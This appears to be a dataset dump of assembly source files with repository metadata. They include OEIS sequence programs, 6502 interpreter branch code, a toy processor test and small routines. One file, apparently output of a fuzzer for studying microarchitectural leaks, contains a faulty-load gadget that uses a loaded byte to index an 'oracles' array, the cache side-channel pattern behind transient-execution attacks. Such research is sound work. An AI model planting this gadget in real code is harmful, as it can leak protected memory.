00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 29.834615
| 2,999
| 0.654763
|
f5d6f43fa3954fcfc6e69b7abb88006a67e4e501
| 1,200
|
asm
|
Assembly
|
programs/oeis/053/A053738.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/053/A053738.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/053/A053738.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A053738: If k is in sequence then 2*k and 2*k+1 are not (and 1 is in the sequence); numbers with an odd number of digits in binary.
; 1,4,5,6,7,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420
mov $1,1
mov $2,$0
lpb $0,1
add $0,$2
mul $1,2
add $1,$2
add $1,1
sub $0,$1
trn $0,1
sub $1,$0
mov $2,$0
lpe
| 75
| 939
| 0.7025
|
442b6a970f680e990f676fab1415b00b3aeda0e9
| 1,581
|
asm
|
Assembly
|
runtime/branches.asm
|
paulscottrobson/amoral
|
09186f2476bd1e8acfc59ba9efbf04e1126567e9
|
[
"MIT"
] | 3
|
2020-11-19T18:31:11.000Z
|
2020-11-23T17:59:53.000Z
|
runtime/branches.asm
|
paulscottrobson/amoral
|
09186f2476bd1e8acfc59ba9efbf04e1126567e9
|
[
"MIT"
] | null | null | null |
runtime/branches.asm
|
paulscottrobson/amoral
|
09186f2476bd1e8acfc59ba9efbf04e1126567e9
|
[
"MIT"
] | 1
|
2021-05-14T07:49:05.000Z
|
2021-05-14T07:49:05.000Z
|
; *******************************************************************************************
; *******************************************************************************************
;
; File: branches.asm
; Date: 14th November 2020
; Purpose: Branch handlers
; Author: Paul Robson (paul@robson.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
; *******************************************************************************************
;
; Unconditional Branch
;
; *******************************************************************************************
Branch_Always: ;; BRA $8B
ldy #0
lda (Pctr),y
tax
iny
lda (Pctr),y
sta Pctr+1
stx Pctr
jmp ExecLoop
; *******************************************************************************************
;
; Branch Conditional
;
; *******************************************************************************************
Branch_Zero: ;; BEQ $8C
lda Reg16
ora Reg16+1
beq Branch_Always
bne Branch_Fail
Branch_NonZero: ;; BNE $8D
lda Reg16
ora Reg16+1
bne Branch_Always
Branch_Fail:
clc
lda Pctr
adc #2
sta Pctr
bne _BFNoCarry
inc Pctr+1
_BFNoCarry:
jmp ExecLoop
Branch_Minus: ;; BMI $8E
lda Reg16+1
bmi Branch_Always
bpl Branch_Fail
Branch_Positive: ;; BPL $8F
lda Reg16+1
bpl Branch_Always
bmi Branch_Fail
| 25.095238
| 93
| 0.314358
|
34349107f7528d762444cbfed2c20fc2b02cf9c4
| 265
|
asm
|
Assembly
|
examples/direct/test_li.asm
|
hughperkins/toy_proc
|
501caddd100e5245658008bb42f17ef8e97d4192
|
[
"MIT"
] | 4
|
2022-03-22T06:58:06.000Z
|
2022-03-25T12:35:06.000Z
|
examples/direct/test_li.asm
|
hughperkins/toy_proc
|
501caddd100e5245658008bb42f17ef8e97d4192
|
[
"MIT"
] | null | null | null |
examples/direct/test_li.asm
|
hughperkins/toy_proc
|
501caddd100e5245658008bb42f17ef8e97d4192
|
[
"MIT"
] | 1
|
2022-03-25T01:06:32.000Z
|
2022-03-25T01:06:32.000Z
|
# test li with different registers, using outr
# also test outr
li x1 3
outr x1
li x1 27
outr x1
li x1 123
outr x1
li x1 444
outr x1
li x21 222
li x23 333
outr x21
outr x23
li x1 7
li x2 35
outr x1
outr x2
li x2 22
li x1 47
outr x1
outr x2
outr x1
outr x2
halt
| 8.833333
| 46
| 0.720755
|
824fc9310de5b4cc0c02ac335e08342788335e58
| 7,543
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2067.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2067.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2067.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x16710, %r8
nop
nop
nop
nop
sub $26719, %r9
movw $0x6162, (%r8)
nop
nop
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0x1d044, %rsi
lea addresses_normal_ht+0x18ab8, %rdi
clflush (%rdi)
nop
xor $43657, %r12
mov $44, %rcx
rep movsb
nop
cmp %r15, %r15
lea addresses_normal_ht+0x9bb8, %rsi
nop
sub %r9, %r9
mov $0x6162636465666768, %r8
movq %r8, %xmm3
and $0xffffffffffffffc0, %rsi
vmovntdq %ymm3, (%rsi)
nop
nop
nop
nop
nop
lfence
lea addresses_UC_ht+0x1ddb8, %r9
nop
sub $19513, %rcx
movb (%r9), %r15b
nop
nop
nop
cmp $34497, %rcx
lea addresses_A_ht+0x19b8, %r15
nop
nop
nop
nop
dec %rcx
mov (%r15), %edi
nop
nop
nop
nop
nop
sub $9141, %r12
lea addresses_normal_ht+0x19aac, %rsi
nop
cmp $4672, %r8
movl $0x61626364, (%rsi)
nop
nop
nop
cmp %r8, %r8
lea addresses_normal_ht+0xecb8, %rsi
lea addresses_D_ht+0x109f8, %rdi
nop
nop
nop
nop
nop
and %r11, %r11
mov $106, %rcx
rep movsq
nop
nop
nop
nop
cmp $13209, %r12
lea addresses_D_ht+0x17d64, %r9
nop
nop
nop
nop
sub $25380, %rcx
mov (%r9), %r12d
sub %r9, %r9
lea addresses_D_ht+0xff38, %rsi
lea addresses_WT_ht+0xa1c8, %rdi
nop
nop
nop
add $19213, %r12
mov $31, %rcx
rep movsl
nop
nop
xor $54831, %rcx
lea addresses_A_ht+0x193f8, %r12
nop
nop
nop
nop
xor $36217, %rcx
mov (%r12), %r8
nop
nop
nop
nop
nop
dec %r9
lea addresses_WC_ht+0x81e8, %r15
sub %r12, %r12
mov $0x6162636465666768, %rdi
movq %rdi, (%r15)
nop
nop
nop
and %r15, %r15
lea addresses_WT_ht+0xdac6, %rsi
lea addresses_normal_ht+0x137b8, %rdi
nop
nop
nop
add %r9, %r9
mov $127, %rcx
rep movsl
nop
nop
nop
nop
sub %r9, %r9
lea addresses_WC_ht+0x1db8, %r15
inc %r8
vmovups (%r15), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r11
nop
nop
nop
inc %rsi
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_D+0x2db8, %rsi
mov $0x3c220b0000000548, %rdi
xor $29927, %rbp
mov $0, %rcx
rep movsw
nop
nop
nop
nop
nop
xor $57824, %rdi
// Faulty Load
lea addresses_D+0x2db8, %rcx
nop
nop
nop
nop
nop
sub $10613, %rbp
mov (%rcx), %edi
lea oracles, %rbp
and $0xff, %rdi
shlq $12, %rdi
mov (%rbp,%rdi,1), %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_NC', 'congruent': 4, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 33.229075
| 2,999
| 0.658359
|
b9d19d81c91fe6eb8a6ea9a0656144ef484ca66d
| 297
|
asm
|
Assembly
|
programs/oeis/040/A040323.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/040/A040323.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/040/A040323.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A040323: Continued fraction for sqrt(342).
; 18,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36,2,36
mov $1,9
lpb $0
mod $0,2
mul $1,2
lpe
gcd $1,$0
mul $1,2
| 27
| 189
| 0.602694
|
733aabae42897b5c1a171db60343143eb392a820
| 332
|
asm
|
Assembly
|
2x3/BLM2021 - x86 ASM/Examples/051219d.asm
|
LyotardPostmodernizm/YTU-CE
|
99d7fc9526640f08478d72503a0784eb401066ac
|
[
"WTFPL"
] | 1
|
2021-10-31T12:36:02.000Z
|
2021-10-31T12:36:02.000Z
|
2x3/BLM2021 - x86 ASM/Examples/051219d.asm
|
LyotardPostmodernizm/YTU-CE
|
99d7fc9526640f08478d72503a0784eb401066ac
|
[
"WTFPL"
] | null | null | null |
2x3/BLM2021 - x86 ASM/Examples/051219d.asm
|
LyotardPostmodernizm/YTU-CE
|
99d7fc9526640f08478d72503a0784eb401066ac
|
[
"WTFPL"
] | null | null | null |
PUBLIC SAY
mycs SEGMENT BYTE PUBLIC 'kd'
ASSUME CS:mycs
SAY PROC FAR
PUSH CX
PUSH DI
PUSH BX
MOV BP, SP
MOV BX, [BP+14]
MOV CX, [BP+12]
MOV DI, [BP+10]
XOR AX, AX
L1: CMP BX, [DI]
JNE atla
INC AX
atla: ADD DI, 2
LOOP L1
POP BX
POP DI
POP CX
RETF 6
SAY ENDP
mycs ENDS
END
| 13.833333
| 30
| 0.566265
|
baa4654b594cac96cefcde7ddda61fdfb2c38294
| 663
|
asm
|
Assembly
|
oeis/095/A095375.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/095/A095375.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/095/A095375.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A095375: Total number of 1's in the binary expansions of the first n primes: summatory A014499.
; Submitted by Jon Maiga
; 1,3,5,8,11,14,16,19,23,27,32,35,38,42,47,51,56,61,64,68,71,76,80,84,87,91,96,101,106,110,117,120,123,127,131,136,141,145,150,155,160,165,172,175,179,184,189,196,201,206,211,218,223,230,232,236,240,245,249,253,258,262,267,273,278,284,289,293,299,305,309,315,322,328,335,343,347,352,356,361,366,371,378,383,390,397,401,406,412,419,425,433,440,447,454,462,470,473,477,482
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,14499 ; Number of 1's in binary representation of n-th prime.
add $1,$0
lpe
mov $0,$1
add $0,1
| 41.4375
| 370
| 0.696833
|
7e56311d288a1bc3c509c93666bd415e21a4b31f
| 2,801
|
nasm
|
Assembly
|
Library/OcCpuLib/X64/MeasureTicks.nasm
|
lyrl/OpenCorePkg
|
d246944bb09f0189455f8174ca14e38909cfbe8d
|
[
"BSD-3-Clause"
] | 10,125
|
2019-04-05T07:28:52.000Z
|
2022-03-31T14:46:53.000Z
|
Library/OcCpuLib/X64/MeasureTicks.nasm
|
lyrl/OpenCorePkg
|
d246944bb09f0189455f8174ca14e38909cfbe8d
|
[
"BSD-3-Clause"
] | 169
|
2019-04-15T17:22:54.000Z
|
2022-03-31T11:50:23.000Z
|
Library/OcCpuLib/X64/MeasureTicks.nasm
|
lyrl/OpenCorePkg
|
d246944bb09f0189455f8174ca14e38909cfbe8d
|
[
"BSD-3-Clause"
] | 2,383
|
2019-04-03T21:05:59.000Z
|
2022-03-30T18:28:40.000Z
|
;------------------------------------------------------------------------------
; @file
; Copyright (C) 2020, vit9696. All rights reserved.
;
; All rights reserved.
;
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;------------------------------------------------------------------------------
BITS 64
DEFAULT REL
SECTION .text
;------------------------------------------------------------------------------
; VOID
; EFIAPI
; AsmMeasureTicks (
; IN UINT32 AcpiTicksDuration, ///< ecx
; IN UINT16 TimerAddr, ///< dx
; OUT UINT32 *AcpiTicksDelta, ///< r8
; OUT UINT64 *TscTicksDelta ///< r9
; );
;------------------------------------------------------------------------------
global ASM_PFX(AsmMeasureTicks)
ASM_PFX(AsmMeasureTicks):
; Push preserved registers.
push rsi
push rdi
push rbp
push rbx
; Preserve TimerAddr in r11d as rdtsc overrides edx.
mov r11d, edx
; Read AcpiTicks0 into ebx.
in eax, dx
mov ebx, eax
; Read Tsc0 into r10.
rdtsc
shl rdx, 32
or rax, rdx
mov r10, rax
; Store MAX_UINT32 - AcpiTick0 into ebp.
mov ebp, ebx
not ebp
; Store MAX_UINT24 - AcpiTick0 into edi.
mov edi, 0x00ffffff
sub edi, ebx
CalculationLoop:
nop ; or pause.
; Read AcpiTicks1 into esi.
mov edx, r11d
in eax, dx
mov esi, eax
; Calculate AcpiTicks0 - AcpiTicks1 into eax.
mov eax, ebx
sub eax, esi
jbe NoOverflow
; Check for 32-bit overflow.
cmp eax, 0x00ffffff
ja Overflow32
Overflow24:
; AcpiCurrentDelta (esi) = AcpiTicks1 (esi) + MAX_UINT24 - AcpiTick0 (edi)
add esi, edi
jmp ContinueLoop
NoOverflow:
; AcpiCurrentDelta (esi) = AcpiTicks1 (esi) - AcpiTicks0 (ebx)
sub esi, ebx
jmp ContinueLoop
Overflow32:
; AcpiCurrentDelta (esi) = AcpiTicks1 (esi) + MAX_UINT32 - AcpiTick0 (ebp)
add esi, ebp
ContinueLoop:
cmp esi, ecx
jb CalculationLoop
; Read Tsc1 into rax.
rdtsc
shl rdx, 32
or rax, rdx
; Calculate TscDelta into rax.
sub rax, r10
; Store TscDelta and AcpiDelta.
mov qword [r9], rax
mov dword [r8], esi
; Pop preserved registers & return.
pop rbx
pop rbp
pop rdi
pop rsi
ret
| 24.787611
| 85
| 0.540164
|
f36b75d872a417fd41117a680e3d2d14d0c4f639
| 99
|
asm
|
Assembly
|
gfx/pokemon/poliwhirl/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 28
|
2019-11-08T07:19:00.000Z
|
2021-12-20T10:17:54.000Z
|
gfx/pokemon/poliwhirl/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 13
|
2020-01-11T17:00:40.000Z
|
2021-09-14T01:27:38.000Z
|
gfx/pokemon/poliwhirl/anim.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 22
|
2020-05-28T17:31:38.000Z
|
2022-03-07T20:49:35.000Z
|
frame 1, 07
frame 2, 05
setrepeat 2
frame 3, 10
frame 4, 10
dorepeat 3
frame 2, 16
endanim
| 11
| 12
| 0.666667
|
785fb4321e4e02ad90001950a88d45cf6b6100e4
| 665
|
asm
|
Assembly
|
oeis/006/A006564.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/006/A006564.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/006/A006564.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A006564: Icosahedral numbers: a(n) = n*(5*n^2 - 5*n + 2)/2.
; Submitted by Jon Maiga
; 1,12,48,124,255,456,742,1128,1629,2260,3036,3972,5083,6384,7890,9616,11577,13788,16264,19020,22071,25432,29118,33144,37525,42276,47412,52948,58899,65280,72106,79392,87153,95404,104160,113436,123247,133608,144534,156040,168141,180852,194188,208164,222795,238096,254082,270768,288169,306300,325176,344812,365223,386424,408430,431256,454917,479428,504804,531060,558211,586272,615258,645184,676065,707916,740752,774588,809439,845320,882246,920232,959293,999444,1040700,1083076,1126587,1171248,1217074
mov $1,$0
mov $2,1
add $2,$0
add $0,$2
mul $0,$2
bin $1,2
add $0,$1
mul $0,$2
| 51.153846
| 498
| 0.769925
|
9819dd8635a041b27f148763d05d43d5c1487c9e
| 659
|
asm
|
Assembly
|
programs/oeis/080/A080029.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/080/A080029.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/080/A080029.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A080029: a(n) is taken to be the smallest positive integer not already present which is consistent with the condition "n is a member of the sequence if and only if a(n) is a multiple of 3".
; 0,2,3,6,5,9,12,8,15,18,11,21,24,14,27,30,17,33,36,20,39,42,23,45,48,26,51,54,29,57,60,32,63,66,35,69,72,38,75,78,41,81,84,44,87,90,47,93,96,50,99,102,53,105,108,56,111,114,59,117,120,62,123,126,65,129,132,68
mov $1,$0
add $1,2
mov $2,$1
sub $1,2
mov $3,$0
lpb $2
lpb $0
mov $0,$2
mov $2,$1
add $2,1
lpe
add $1,2
lpb $1
mov $4,$1
trn $1,3
mov $2,$4
lpe
add $0,$4
sub $2,1
lpe
add $0,2
lpb $3
add $0,1
sub $3,1
lpe
sub $0,4
| 21.966667
| 209
| 0.61305
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.